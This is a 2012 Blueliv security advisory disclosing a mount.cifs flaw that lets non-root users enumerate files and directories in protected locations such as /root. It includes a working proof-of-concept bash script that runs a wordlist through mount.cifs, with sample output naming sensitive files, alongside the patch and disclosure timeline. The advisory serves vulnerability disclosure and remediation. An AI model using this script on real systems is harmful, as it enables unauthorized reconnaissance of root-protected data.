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########## Blueliv Advisory 2012-004 ########## - Discovered by: Jesus Olmos Gonzalez at Blueliv - Risk: 5/5 - Impact: 1/5 ############################################### 1. VULNERABILITY ------------------------- linux privileged and arbitrary chdir(), this leads to an arbitary file identification as root. 2. BACKGROUND ------------------------- mount.cifs (GNU Software) is part of linux base system, and is setuided on most of the distributions (archlinux, debian, ubuntu, ...) This software mounts cifs partition to directories authorized by fstab. 3. DESCRIPTION ------------------------- Althow there is not authorized cifs mounts, is possible by the second parameter to control a privileged chdir() syscall and infer the return value throught the responses. This implies, a little security breach on linux permissions. A non root user can enumerate files and directories as root. This can help to exploit another vulnerabilities, enumerate /root/ contents, descriptors used by any process, user homes, etc ... one of the attack vectors is /root/ directory scan: [sha0@spinlock advs]$ ./root_eye.sh wordlist /root/ --- directories --- .pulse1 .bash_history .alsaplayer .dbus .mozilla .VirtualBox .vim .links .config .cpan .gnome2 --- files --- .pulse-cookie .keystore .bash_profile dead.letter .mysql_history .Xauthority .vimrc .viminfo secret Also let to enumerate sub-sub directories in order to dump readable files. 4. PROOF OF CONCEPT ------------------------- #!/bin/bash # root enumerator 0day by jesus.olmos (at) blueliv (dot) com [email concealed] @sha0coder # discover root protected files & directories, user homes, process descriptors, ... path=$2 wordlist=$1 for i in <code>cat $wordlist do echo -n "$i:" /sbin/mount.cifs //127.0.0.1/a $path/$i done 2>log.$$ 1>&2 echo --- directories --- for i in <code>grep 'denied' log.$$ | cut -d ':' -f 1 do echo $i done echo --- files --- for i in <code>grep -i 'not a directory' log.$$ | cut -d ':' -f 1 do echo $i done rm log.$$ 5. BUSINESS IMPACT ------------------------- May involve issues of confidentiality. 6. SYSTEMS AFFECTED ------------------------- all versions prior to 5.4 7. SOLUTION ------------------------- Easy solution: Don't setuid mount.cifs The Patch: https://attachments.samba.org/attachment.cgi?id=7416 Or upgrade to 5.4 release. 8. REFERENCES ------------------------- http://bugzilla.samba.org/show_bug.cgi?id=8821 http://gnu.org 9. CREDITS ------------------------- Jesus Olmos Gonzalez jolmos(at)blueliv(dot)com @sha0coder Blueliv blueliv(dot)com Rootedcon Arena2012 rootedcon(dot)es 10. DISCOLSURE TIMELINE ------------------------- February 20, 2012: Vulnerability discovered March 07, 2012: Reported to the vendor, through bugzilla. March 13, 2012: No vendor respon. March 21, 2012: Reported again to vendor. March 27, 2012: Vendor response, studying the best way to fix it, but they recommend not to setuid by default. March 31, 2012: The patch was aplied to 5.4 release 11. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Blueliv accepts no responsibility for any damage caused by the use or misuse of this information. -- Jesús Olmos jesus.olmos (at) blueliv (dot) com [email concealed] OPST, CEH, ECSP certified Parc Innovació La Salle C/Sant Joan de la Salle 42, Planta 3 08022 Barcelona Telf. + 34 902908712 Fax. + 34 933960900 |
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